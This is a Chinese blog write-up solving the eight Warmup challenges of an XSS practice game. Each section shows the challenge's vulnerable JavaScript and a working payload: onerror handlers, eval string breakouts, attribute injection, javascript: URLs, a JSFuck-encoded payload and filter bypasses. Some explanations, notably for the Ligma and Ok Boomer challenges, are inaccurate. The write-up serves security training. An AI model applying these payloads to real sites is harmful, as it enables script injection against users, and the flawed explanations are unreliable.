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XSS之xss game

news 来源：原创 2024/9/20 15:26:43

链接如下:

Challenges

1.Ma Spaghet!

源码;

<!-- Challenge -->
<h2 id="spaghet"></h2>
<script>spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

 somebody=<img src=1 οnerrοr="alert(1337)">

解释：

  • innerHTML属性会解析并插入HTML内容。通过将somebody参数设置为含有<img>标签的payload，利用onerror事件触发alert(1337)。
  • 由于innerHTML会将内容解释为HTML，<img>标签的onerror事件会在加载图片时触发。这里的src=1是一个无效的图片链接，将导致错误，从而触发onerror事件。

2.Jefff

源码：

<!-- Challenge -->
<h2 id="maname"></h2>
<script>let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")let ma = ""eval(`ma = "Ma name ${jeff}"`)setTimeout(_ => {maname.innerText = ma}, 1000)
</script>

 ?jeff=aaa";alert(1337);"

 

解释：

  • eval函数会执行动态生成的JavaScript代码。通过在jeff参数中注入";alert(1337);"，可以破坏字符串的拼接，直接在eval中插入恶意代码。
  • aaa";alert(1337);"使得eval代码变成：ma = "Ma name aaa";alert(1337);。这样，alert(1337)就会被执行。

3.Ugandan Knuckles

源码：

<!-- Challenge -->
<div id="uganda"></div>
<script>let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");wey = wey.replace(/[<>]/g, '')uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>

 ?wey=aaa" οnfοcus="alert(1337)" autofocus="true 

 

解释：

  • innerHTML会解析为HTML内容。通过在placeholder属性中注入"和onfocus事件，可以在文本框获得焦点时触发alert(1337)。
  • onfocus="alert(1337)"在文本框被聚焦时触发警报。

4.Ricardo Milos

源码：

<!-- Challenge -->
<form id="ricardo" method="GET"><input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')setTimeout(_ => {ricardo.submit()}, 2000)
</script>

 ?ricardo=javascript:alert(1337)

 

解释：

  • action属性决定了表单提交的目标。当其设置为javascript:alert(1337)时，表单提交会执行JavaScript代码。
  • ricardo.submit()在2秒后提交表单，从而执行了alert(1337)。

5.Ah That's Hawt

源码;

<!-- Challenge -->
<h2 id="will"></h2>
<script>smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")smith = smith.replace(/[\(\`\)\\]/g, '')will.innerHTML = smith
</script>

?markassbrownlee=<img src=1 οnerrοr=location="javascript:alert%25281337%2529"> 

 

解释：

  • 通过innerHTML插入带有onerror属性的<img>标签。onerror事件中的location="javascript:alert%25281337%2529"会触发JavaScript代码。
  • %2528和%2529是(和)的URL编码，确保字符串在JavaScript中正确解析。

6.Ligma

源码：

/* Challenge */
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)

 访问链接：JSFuck - Write any JavaScript with 6 Characters: []()!+JSFuck is an esoteric and educational programming style based on the atomic parts of JavaScript. It uses only six different characters to execute code.icon-default.png?t=N7T8https://jsfuck.com/

 url编码后

 复制，最后payload为：

balls=%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D((!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%2B%5B!%5B%5D%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B!%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(%2B(!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B!%2B%5B%5D%5D))%5B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%2B%5B%5D)%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%5B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B((%2B%5B%5D)%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%2B%5B%2B!%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%5D(!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%5D)%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D)()((!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(%5B%2B%5B%5D%5D%2B!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D)

解释：

  • replace(/[A-Za-z0-9]/g, '')会去掉字符串中的所有字母和数字，只保留其他字符。如果balls参数是javascript:alert(1337)，所有字母和数字会被删除，剩下的内容就是javascript:alert(1337)，这会被eval执行。

7.Mafia

源码：

/* Challenge */
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)

  ?mafia=Function(/ALERT(1337)/.source.toLowerCase())()

 ?mafia=eval(8680439..toString(30))(1337)

 ?mafia=eval(location.hash.slice(1))#alert(1337)

解释：

  • replace(/[\'"+-!\]/gi, ‘_’)替换了特定字符，并移除alert。不同的payload利用eval`执行不同的JavaScript代码：
    1. Function(/ALERT(1337)/.source.toLowerCase())()创建了一个执行alert(1337)的函数。
    2. eval(8680439..toString(30))(1337)是利用eval函数的动态执行。
    3. eval(location.hash.slice(1))#alert(1337)利用hash参数注入代码。

8.Ok, Boomer

源码：

<!-- Challenge -->
<h2 id="boomer">Ok, Boomer.</h2>
<script>boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")setTimeout(ok, 2000)
</script>

  ?boomer=<a%20id=ok%20href=mailto:alert(1337)>

解释：

  • DOMPurify.sanitize用于清理和过滤输入内容。通过<a>标签并利用href属性注入mailto:协议，虽然DOMPurify会过滤大多数内容，但在实际应用中，如果过滤规则不够严格，可能会执行注入的代码。

至此，xss game的Warmups部分已结束！

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